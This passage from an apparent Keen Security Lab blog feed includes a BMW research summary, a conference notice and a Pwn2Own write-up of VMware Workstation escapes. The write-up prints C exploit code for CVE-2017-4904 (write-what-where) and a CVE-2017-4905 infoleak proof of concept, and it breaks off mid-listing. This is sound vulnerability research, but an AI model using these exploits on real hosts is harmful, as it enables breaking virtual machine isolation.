BMW Group vehicles by a third party. For this outstanding research work, Tencent Keen Security Lab has been selected as the first winner of the BMW Group Digitalization and IT Research Award.</p><p style="word-wrap:break-word">https://www.press.bmwgroup.com/global/article/detail/T0281245EN</p><h2 id="Research-Summary-Report"><a href="#Research-Summary-Report" class="headerlink" title="Research Summary Report"></a>Research Summary Report</h2><p>Please refer the following link to know more about our research:<br><a href="/en/whitepapers/Experimental_Security_Assessment_of_BMW_Cars_by_KeenLab.pdf">Experimental Security Assessment of BMW Cars by KeenLab.pdf</a></p><h2 id="Joint-Video"><a href="#Joint-Video" class="headerlink" title="Joint Video"></a>Joint Video</h2><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=f00264c47et&tiny=0&auto=0" allowfullscreen></iframe></div><p> </p><h2 id="About-Tencent-Keen-Security-Lab"><a href="#About-Tencent-Keen-Security-Lab" class="headerlink" title="About Tencent Keen Security Lab"></a>About Tencent Keen Security Lab</h2><p><img src="/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/Participants_of_BMW_project_at_Keen_Lab.png" alt="Figure: Participants of BMW project at Keen Lab"><br>Tencent Keen Security Lab[1] (in abbreviation “Keen Lab”) is a professional security research team, focusing on information security research of both attack and protection techniques, under Tencent Company. In the past years, Keen Lab built security research partnership with global manufactures in software, hardware and internet industries, and achieved a lot of worldwide leading security research results. </p><p>Since Year 2015, Keen Lab started research projects in IoT[2] and Connected Vehicle categories and building partnership with manufactures in IoT and car industries. In the Year 2016 and 2017, Keen Lab published the well-known research globally on “Tesla Model S and Model X Remote Hacking” with leveraging “Responsible Disclosure” practice to report the vulnerabilities and attack chains to Tesla[3,4].</p><p style="word-wrap:break-word">[1] https://keenlab.tencent.com/</p><p style="word-wrap:break-word">[2] https://keenlab.tencent.com/zh/2017/04/01/remote-attack-on-mi-ninebot/</p><p style="word-wrap:break-word">[3] https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/</p><p style="word-wrap:break-word">[4] https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/bmw_pwn.png&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;Introduction&quot;&gt;&lt;a href=&quot;#Introduction&quot; class=&quot;headerlink&quot; title=&quot;Introduction&quot;&gt;&lt;/a&gt;Introduction&lt;/h2&gt;&lt;p&gt;The research of BMW cars is an ethical hacking research project. In the research, Keen Security Lab performed an in-depth and comprehensive analysis of both hardware and software on in-vehicle infotainment Head Unit, Telematics Control Unit and Central Gateway Module of multiple BMW vehicles. Through mainly focusing on various external attack surfaces, (including GSM network, BMW Remote Service, BMW ConnectedDrive System, Remote Diagnosis, NGTP protocol, Bluetooth protocol, USB and OBD-II interfaces), Keen Security Lab has gained local and remote access to infotainment components, T-Box components and UDS communication above certain speed of selected multiple BMW vehicle modules and been able to gain control of the CAN buses with the execution of arbitrary, unauthorized diagnostic requests of BMW in-car systems remotely.&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>TenSec 2018</title>
    <link href="http://keenlab.tencent.com/en/2018/05/10/TenSec-2018/"/>
    <id>http://keenlab.tencent.com/en/2018/05/10/TenSec-2018/</id>
    <published>2018-05-10T13:58:46.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/TenSec-2018/TenSec2018Header.jpeg"><br>Tencent Security Conference (TenSec) is an international cybersecurity summit launched by Tencent Security, hosted by Tencent Keen Security Lab and Tencent Security Platform Department, and co-organized by Tencent Security Academy.</p><p>TenSec 2018 will be held on October 10 and 11, with the most heated debate in the cybersecurity area, the most famous technology corporations, car manufacturers and security communities of leading experts from all over the world. The summit focuses on Big Data, Artificial Intelligence, Mobile Internet, Cloud Computing, Internet of Things, Block Chain, Virtualization, Intelligent Connected Vehicle and research tools in the security field, and encourages the sharing of the forefront of the international first-class security technologies and research achievements. We look forward to create a platform to discuss the security technology innovation and the development trend in the future for all the experts in the security community. </p><p>Since its launch in 2016, TenSec has been committed to exploring international frontier security technologies and research, building a long-term and sustainable communication and cooperation platform for international manufacturers and security communities to safeguard emerging Internet forms and user security.</p><span id="more"></span><p><img src="/en/img/TenSec-2018/TenSec2018.png"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/TenSec-2018/TenSec2018Header.jpeg&quot;&gt;&lt;br&gt;Tencent Security Conference (TenSec) is an international cybersecurity summit launched by Tencent Security, hosted by Tencent Keen Security Lab and Tencent Security Platform Department, and co-organized by Tencent Security Academy.&lt;/p&gt;
&lt;p&gt;TenSec 2018 will be held on October 10 and 11, with the most heated debate in the cybersecurity area, the most famous technology corporations, car manufacturers and security communities of leading experts from all over the world. The summit focuses on Big Data, Artificial Intelligence, Mobile Internet, Cloud Computing, Internet of Things, Block Chain, Virtualization, Intelligent Connected Vehicle and research tools in the security field, and encourages the sharing of the forefront of the international first-class security technologies and research achievements. We look forward to create a platform to discuss the security technology innovation and the development trend in the future for all the experts in the security community. &lt;/p&gt;
&lt;p&gt;Since its launch in 2016, TenSec has been committed to exploring international frontier security technologies and research, building a long-term and sustainable communication and cooperation platform for international manufacturers and security communities to safeguard emerging Internet forms and user security.&lt;/p&gt;</summary>
    
    
    
    
    <category term="TenSec" scheme="http://keenlab.tencent.com/en/tags/TenSec/"/>
    
  </entry>
  
  <entry>
    <title>A bunch of Red Pills: VMware Escapes</title>
    <link href="http://keenlab.tencent.com/en/2018/04/23/A-bunch-of-Red-Pills-VMware-Escapes/"/>
    <id>http://keenlab.tencent.com/en/2018/04/23/A-bunch-of-Red-Pills-VMware-Escapes/</id>
    <published>2018-04-23T12:51:03.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h1><p>VMware is one of the leaders in virtualization nowadays. They offer VMware ESXi for cloud, and VMware Workstation and Fusion for Desktops (Windows, Linux, macOS).<br>The technology is very well known to the public: it allows users to run unmodified guest “virtual machines”.<br>Often those virtual machines are not trusted, and they must be isolated.<br>VMware goes to a great deal to offer this isolation, especially on the ESXi product where virtual machines of different actors can potentially run on the same hardware. So a strong isolation of is paramount importance.</p><p>Recently at Pwn2Own the “Virtualization” category was introduced, and VMware was among the targets since Pwn2Own 2016.</p><p>In 2017 we successfully demonstrated a VMware escape from a guest to the host from a unprivileged account, resulting in executing code on the host, breaking out of the virtual machine.</p><p>If you escape your virtual machine environment then all isolation assurances are lost, since you are running code on the host, which controls the guests.</p><span id="more"></span><p><strong>But how VMware works?</strong></p><p>In a nutshell it often uses (but they are not strictly required) CPU and memory hardware virtualization technologies, so a guest virtual machine can run code at native speed most of the time.</p><p>But a modern system is not just a <strong>CPU</strong> and <strong>Memory</strong>, it also requires lot of other <strong>Hardware</strong> to work properly and be useful.</p><p>This point is very important because it will consist of one of the biggest attack surfaces of VMware: the virtualized hardware.</p><p>Virtualizing a hardware device is not a trivial task. It’s easily realized by reading any datasheet for hardware software interface for a PC hardware device.</p><p>VMware will trap on I&#x2F;O access on this virtual device and it needs to emulate all those low level operations correctly, since it aims to run unmodified kernels, its emulated devices must behave as closely as possible to their real counterparts.</p><p>Furthermore if you ever used VMware you might have noticed its copy paste capabilities, and shared folders. How those are implemented?</p><p>To summarize, in this blog post we will cover quite some bugs. Both in this “backdoor” functionalities that support those “extra” services such as C&amp;P, and one in a virtualized device.</p><p>Altough recently lot of VMware blogpost and presentations were released, we felt the need to write our own for the following reasons:</p><ul><li>First, no one ever talked correctly about our Pwn2Own bugs, so we want to shed light on them.</li><li>Second, some of those published resources either lack of details or code.</li></ul><p>So we hope you will enjoy our blogpost!</p><p>We will begin with some background informations to get you up to speed.</p><p>Let’s get started!</p><h2 id="Overall-architecture"><a href="#Overall-architecture" class="headerlink" title="Overall architecture"></a>Overall architecture</h2><p>A complex product like VMware consists of several components, we will just highlight the most important ones, since the VMware architecture design has already been discussed extensively elsewhere.</p><ul><li><strong>VMM</strong>: this piece of software runs at the highest possible privilege level on the physical machine. It makes the VMs tick and run and also handles all the tasks which are impossible to perform from the host ring 3 for example.</li><li><strong>vmnat</strong>: vmnat is responsible for the network packet handling, since VMware offers advanced functionalities such as NAT and virtual networks.</li><li><strong>vmware-vmx</strong>: every virtual machine started on the system has its own vmware-vmx process running on the host. This process handles lot of tasks which are relevant for this blogpost, including lot of the device emulation, and backdoor requests handling. The result of the exploitation of the chains we will present will result in code execution on the host in the context of vmware-vmx.</li></ul><h2 id="Backdoor"><a href="#Backdoor" class="headerlink" title="Backdoor"></a>Backdoor</h2><p>The so called <strong>backdoor</strong>, it’s not actually a “backdoor”, it’s simply a mechanism implemented in VMware for guest-host and host-guest communication.</p><p>A useful resource for understanding this interface is the <a href="https://github.com/vmware/open-vm-tools">open-vm-tools repository</a> by VMware itself.</p><p>Basically at the lower level, the backdoor consists of 2 IO ports <code>0x5658</code> and <code>0x5659</code>, the first for “traditional” communication, the other one for “high bandwidth” ones.</p><p>The guest issues <code>in/out</code> instructions on those ports with some registers convention and it’s able to communicate with the VMware running on the host.</p><p>The hypervisor will trap and service the request.</p><p>On top of this low level mechanism, vmware implemented some more convenient high level protocols, we encourage you to check the <code>open-vm-tools</code> repository to discover those since they were covered extensively elsewhere we will not spend too much time covering the details.<br>Just to mention a few of those higher level protocols: <strong>drag and drop, copy and paste, guestrpc</strong>.</p><p>The fundamental points to remember are:</p><ul><li>It’s a interface guest-host that we can use</li><li>It exposes complex services and functionalities.</li><li>Lot of these functionalities can be used from ring3 in the guest VM</li></ul><h2 id="xHCI"><a href="#xHCI" class="headerlink" title="xHCI"></a>xHCI</h2><p>xHCI (aka eXtensible Host Controller Interface) is a specification of a USB host controller (normally implemented in hardware in normal PC) by Intel which supports USB 1.x, 2.0 and 3.x.</p><p>You can find the relevant specification <a href="https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/extensible-host-controler-interface-usb-xhci.pdf">here</a>.</p><p>On a physical machine it’s often present:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00:14.0 USB controller: Intel Corporation C610/X99 series chipset USB xHCI Host Controller (rev 05)</span><br></pre></td></tr></table></figure><p>In VMware this hardware device is emulated, and if you create a Windows 10 virtual machine, this emulated controller is enabled by default, so a guest virtual machine can interact with this particular emulated device.</p><p>The interaction, like with a lot of hardware devices, will take place in the PCI memory space and in the IO memory mapped space.</p><p>This very low level interface is the one used by the OS kernel driver in order to schedule usb work, and receive data and all the tasks related to USB.</p><p>Just by looking at the specifications alone, which are more than 600 pages, it’s no surprise that this piece of hardware and its interface are very complex, and the specifications just covers the interface and the behavior, not the actual implementation.</p><p>Now imagine actually <strong>emulating</strong> this complex hardware. You can imagine it’s a very complex and error prone task, as we will see soon.</p><p>Often to speak <strong>directly</strong> with the hardware (and by consequence also virtualized hardware), you need to run in ring0 in the guest. That’s why (as you will see in the next paragraphs) we used a Windows Kernel LPE inside the VM.</p><h2 id="Mitigations"><a href="#Mitigations" class="headerlink" title="Mitigations"></a>Mitigations</h2><p>VMware ships with “baseline” mitigations which are expected in modern software, such as ASLR, stack cookies etc.</p><p>More advanced Windows mitigations such as <strong>CFG</strong>, Microsoft version of Control Flow Integrity and others, are not deployed at the time of writing.</p><h1 id="Pwn2Own-2017-VMware-Escape-by-two-bugs-in-1-second"><a href="#Pwn2Own-2017-VMware-Escape-by-two-bugs-in-1-second" class="headerlink" title="Pwn2Own 2017: VMware Escape by two bugs in 1 second"></a>Pwn2Own 2017: VMware Escape by two bugs in 1 second</h1><blockquote><p>Team Sniper (Keen Lab and PC Mgr) targeting VMware Workstation (Guest-to-Host), and the event certainly did not end with a whimper. They used a three-bug chain to win the Virtual Machine Escapes (Guest-to-Host) category with a VMware Workstation exploit. This involved a Windows kernel UAF, a Workstation infoleak, and an uninitialized buffer in Workstation to go guest-to-host. This category ratcheted up the difficulty even further because VMware Tools were not installed in the guest.</p><footer><strong>ZDI</strong><cite><a href="https://blogs.vmware.com/security/2017/03/security-landscape-pwn2own-2017.html">The Security Landscape: Pwn2Own 2017</a></cite></footer></blockquote><blockquote><p>The following vulnerabilities were identified and analyzed:</p><ul><li>XHCI: CVE-2017-4904 critical Uninitialized stack value leading to arbitrary code execution</li><li>CVE-2017-4905 moderate Uninitialized memory read leading to information disclosure</li></ul><footer><strong>ZDI THE RESULTS</strong><cite><a href="https://www.thezdi.com/blog/2017/3/17/the-results-pwn2own-2017-day-three">PWN2OWN 2017 DAY THREE</a></cite></footer></blockquote><h2 id="CVE-2017-4904-xHCI-uninitialized-stack-variable"><a href="#CVE-2017-4904-xHCI-uninitialized-stack-variable" class="headerlink" title="CVE-2017-4904 xHCI uninitialized stack variable"></a>CVE-2017-4904 xHCI uninitialized stack variable</h2><p>This is an uninitialized variable vulnerability residing in the emulated XHCI device, when updating the changes of Device Context into the guest physical memory.</p><p>The XHCI reports some status info to system software through “Device Context” structure. The address of a Device Context is in the DCBAA (Device Context Base Address Array), whose address is in the DCBAAP (Device Context Base Address Array Pointer) register. Both the Device Context and DCBAA resides in the physical RAM. And the XHCI device will keep an internal cache of the Device Context and only updates the one in physical memory when some changes happen. When updating the Device Context, the virtual machine monitor will map the guest physical memory containing the Device Context into the memory space of the monitor process, then do the update. However the mapping could fail and leave the result variable untouched. The code does not take precaution against it and directly uses the result as a destination address for memory writing, resulting an uninitialized variable vulnerability.</p><p>To trigger this bug, the following steps should be taken:</p><ol><li>Issue a “Enable Slot” command to XHCI. Get the result slot number from Event TRB.</li><li>Set the DCBAAP to point to a controlled buffer.</li><li>Put some invalid physical address, eg. 0xffffffffffffffff, into the corresponding slot in the DCBAA buffer.</li><li>Issue an “Address Device” command. The XHCI will read the base address of Device Context from DCBAA to an internal cache and the value is an controlled invalid address.</li><li>Issue an “Configure Endpoint” command. Trigger the bug when XHCI updates the corresponding Device Context.</li></ol><p>The uninitialized variable resides on the stack. Its value can be controlled in the “Configure Endpoint” command with one of the Endpoint Context of the Input Context which is also on the stack. Therefore we can control the destination address of the write. And the contents to be written are from the Endpoint Context of the Device Context, which is copied from the corresponding controllable Endpoint Context of the Input Context, resulting a write-what-where primitive. By combining with the info leak vulnerability, we can overwrite some function pointers and finally rop to get arbitrary code execution.</p><h3 id="Exploit-code"><a href="#Exploit-code" class="headerlink" title="Exploit code"></a>Exploit code</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">write_what_where</span><span class="params">(uint64 xhci_base, uint64 where, uint64 what)</span></span><br><span class="line">&#123;</span><br><span class="line">    xhci_cap_regs *cap_regs = (xhci_cap_regs*)xhci_base;</span><br><span class="line">    xhci_op_regs *op_regs = (xhci_op_regs*)(xhci_base + (cap_regs-&gt;hc_capbase &amp; <span class="number">0xff</span>));</span><br><span class="line">    xhci_doorbell_array *db = (xhci_doorbell_array*)(xhci_base + cap_regs-&gt;db_off);</span><br><span class="line">    <span class="type">int</span> max_slots = cap_regs-&gt;hcs_params1 &amp; <span class="number">0xf</span>;</span><br><span class="line">    uint8 *playground = (uint8 *)ExAllocatePoolWithTag(NonPagedPool, <span class="number">0x1000</span>, <span class="string">&#x27;NEEK&#x27;</span>);</span><br><span class="line">    <span class="keyword">if</span> (!playground) <span class="keyword">return</span>;</span><br><span class="line">    playground[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    uint64 *dcbaa = (uint64*)playground;</span><br><span class="line">    playground += <span class="keyword">sizeof</span>(uint64) * max_slots;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; max_slots; ++i)</span><br><span class="line">    &#123;</span><br><span class="line">        dcbaa[i] = <span class="number">0xffffffffffffffc0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    op_regs-&gt;dcbaa_ptr = MmGetPhysicalAddress(dcbaa).QuadPart;</span><br><span class="line">    </span><br><span class="line">    playground = (uint8*)(((uint64)playground + <span class="number">0x10</span>) &amp; (~<span class="number">0xf</span>));</span><br><span class="line">    input_context *input_ctx = (input_context*)playground;</span><br><span class="line">    </span><br><span class="line">    playground += <span class="keyword">sizeof</span>(input_context);</span><br><span class="line">    playground = (uint8*)(((uint64)playground + <span class="number">0x40</span>) &amp; (~<span class="number">0x3f</span>));</span><br><span class="line">    uint8 *cring = playground;</span><br><span class="line">    uint64 cmd_ring = MmGetPhysicalAddress(cring).QuadPart | <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">trb_t</span> *cmd = (<span class="type">trb_t</span>*)cring;</span><br><span class="line">    <span class="built_in">memset</span>((<span class="type">void</span>*)cmd, <span class="number">0</span>, <span class="keyword">sizeof</span>(<span class="type">trb_t</span>));</span><br><span class="line">    TRB_SET(TT, cmd, TRB_CMD_ENABLE_SLOT);</span><br><span class="line">    TRB_SET(C, cmd, <span class="number">1</span>);</span><br><span class="line">    cmd++;</span><br><span class="line">    <span class="built_in">memset</span>(input_ctx, <span class="number">0</span>, <span class="keyword">sizeof</span>(input_context));</span><br><span class="line">    input_ctx-&gt;ctrl_ctx.drop_flags = <span class="number">0</span>;</span><br><span class="line">    input_ctx-&gt;ctrl_ctx.add_flags = <span class="number">3</span>;</span><br><span class="line">    input_ctx-&gt;slot_ctx.context_entries = <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">memset</span>((<span class="type">void</span>*)cmd, <span class="number">0</span>, <span class="keyword">sizeof</span>(<span class="type">trb_t</span>));</span><br><span class="line">    TRB_SET(TT, cmd, TRB_CMD_ADDRESS_DEV);</span><br><span class="line">    TRB_SET(ID, cmd, <span class="number">1</span>);</span><br><span class="line">    TRB_SET(DC, cmd, <span class="number">1</span>);</span><br><span class="line">    cmd-&gt;ptr = MmGetPhysicalAddress(input_ctx).QuadPart;</span><br><span class="line">    TRB_SET(C, cmd, <span class="number">1</span>);</span><br><span class="line">    cmd++;</span><br><span class="line">    TRB_SET(C, cmd, <span class="number">0</span>);</span><br><span class="line">    op_regs-&gt;cmd_ring = cmd_ring;</span><br><span class="line">    db.doorbell[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    cmd = (<span class="type">trb_t</span>*)cring;</span><br><span class="line">    <span class="built_in">memset</span>(input_ctx, <span class="number">0</span>, <span class="keyword">sizeof</span>(input_context));</span><br><span class="line">    input_ctx-&gt;ctrl_ctx.drop_flags = <span class="number">0</span>;</span><br><span class="line">    input_ctx-&gt;ctrl_ctx.add_flags = (<span class="number">1u</span>&lt;&lt;<span class="number">31</span>)|(<span class="number">1u</span>&lt;&lt;<span class="number">30</span>);</span><br><span class="line">    input_ctx-&gt;slot_ctx.context_entries = <span class="number">31</span>;</span><br><span class="line">    uint64 *value = (uint64*)(&amp;input_ctx-&gt;ep_ctx[<span class="number">30</span>]);</span><br><span class="line">    uint64 *addr = ((uint64*)(&amp;input_ctx-&gt;ep_ctx[<span class="number">31</span>])) + <span class="number">1</span>;</span><br><span class="line">    value[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    value[<span class="number">1</span>] = what;</span><br><span class="line">    value[<span class="number">2</span>] = <span class="number">0</span>;</span><br><span class="line">    addr[<span class="number">0</span>] = where - <span class="number">0x3b8</span>;</span><br><span class="line">    <span class="built_in">memset</span>((<span class="type">void</span>*)cmd, <span class="number">0</span>, <span class="keyword">sizeof</span>(<span class="type">trb_t</span>));</span><br><span class="line">    TRB_SET(TT, cmd, TRB_CMD_CONFIGURE_EP);</span><br><span class="line">    TRB_SET(ID, cmd, <span class="number">1</span>);</span><br><span class="line">    TRB_SET(DC, cmd, <span class="number">0</span>);</span><br><span class="line">    cmd-&gt;ptr = MmGetPhysicalAddress(input_ctx).QuadPart;</span><br><span class="line">    TRB_SET(C, cmd, <span class="number">1</span>);</span><br><span class="line">    cmd++;</span><br><span class="line">    TRB_SET(C, cmd, <span class="number">0</span>);</span><br><span class="line">    op_regs-&gt;cmd_ring = cmd_ring;</span><br><span class="line">    db.doorbell[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="CVE-2017-4905-Backdoor-uninitialized-memory-read"><a href="#CVE-2017-4905-Backdoor-uninitialized-memory-read" class="headerlink" title="CVE-2017-4905 Backdoor uninitialized memory read"></a>CVE-2017-4905 Backdoor uninitialized memory read</h2><p>This is an uninitialized memory vulnerability present in the Backdoor callback handler. A buffer will be allocated on the stack when processing the backdoor requests. This buffer should be initialized in the BDOORHB callback. But when requesting invalid commands, the callback fails to properly clear the buffer, causing the uninitialized content of the stack buffer to be leaked to the guest. With this bug we can effectively defeat the ASLR of vmware-vmx running on the host. The successful rate to exploit this bug is 100%.</p><p>Credits to JunMao of Tencent PCManager.</p><h3 id="PoC"><a href="#PoC" class="headerlink" title="PoC"></a>PoC</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">infoleak</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> *buf = (<span class="type">char</span> *)VirtualAlloc(<span class="number">0</span>, <span class="number">0x8000</span>, MEM_COMMIT, PAGE_READWRITE);</span><br><span class="line">    <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">0x8000</span>);</span><br><span class="line">    Backdoor_proto_hb hb;</span><br><span class="line">    <span class="built_in">memset</span>(&amp;hb, <span class="number">0</span>, <span class="keyword">sizeof</span>(Backdoor_proto_hb));</span><br><span class="line">    hb.in.size = <span class="number">0x8000</span>;</span><br><span class="line">    hb.in.dstAddr = (<span class="type">uintptr_t</span>)buf;</span><br><span class="line">    hb.in.bx.halfs.low = <span class="number">2</span>;</span><br><span class="line">    Backdoor_HbIn(&amp;hb);</span><br><span class="line">    <span class="comment">// buf will be filled with contents leaked from vmware-vmx stack</span></span><br><span class="line">    <span class="comment">// </span></span><br><span class="line">    ...</span><br><span class="line">    VirtualFree((<span class="type">void</span> *)buf, <span class="number">0x8000</span>, MEM_DECOMMIT);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="Behind-the-scenes-of-Pwn2Own-2017"><a href="#Behind-the-scenes-of-Pwn2Own-2017" class="headerlink" title="Behind the scenes of Pwn2Own 2017"></a>Behind the scenes of Pwn2Own 2017</h1><h2 id="Exploit-the-UAF-bug-in-VMware-Workstation-Drag-n-Drop-with-single-bug"><a href="#Exploit-the-UAF-bug-in-VMware-Workstation-Drag-n-Drop-with-single-bug" class="headerlink" title="Exploit the UAF bug in VMware Workstation Drag n Drop with single bug"></a>Exploit the UAF bug in VMware Workstation Drag n Drop with single bug</h2><p>By fuzzing VMware workstation, we found this bug and complete the whole stable exploit chain using this single bug in the last few days of Feb. 2017. Unfortunately this bug was patched in VMware workstation 12.5.3 released on 9 Mar. 2017. After we noticed few papers talked about this bug, and VMware even have no CVE id assigned to this bug. That’s such a pity because it’s the best bug we have ever seen in VMware workstaion, and VMware just patched it quietly. Now we’re going to talk about the way to exploit VMware Workstation with this single bug.</p><h3 id="Exploit-Code"><a href="#Exploit-Code" class="headerlink" title="Exploit Code"></a>Exploit Code</h3><p>This exploit successful rate is approximately 100%.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span 